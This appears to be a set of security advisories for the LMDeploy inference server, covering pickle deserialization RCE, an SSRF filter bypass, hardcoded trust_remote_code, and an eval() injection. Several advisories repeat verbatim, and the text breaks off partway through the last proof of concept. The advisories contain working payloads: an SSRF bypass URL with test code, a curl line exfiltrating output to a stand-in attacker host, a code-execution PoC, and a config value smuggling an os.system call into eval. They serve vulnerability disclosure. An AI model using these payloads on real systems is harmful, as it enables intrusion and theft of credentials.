Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

Summary

The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

Details

The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request. The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

• urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
• requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.

Details

Vulnerable code (permalink):

quant_dtype = eval(f'torch.{quant_dtype}')  # line 620

The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.

Attack vector: An attacker publishes a HuggingFace model with:

{
  "quantization_config": {
    "quant_method": "awq",
    "quant_dtype": "float16, __import__('os').system('id')"
  }
}

Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.

PoC

"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch

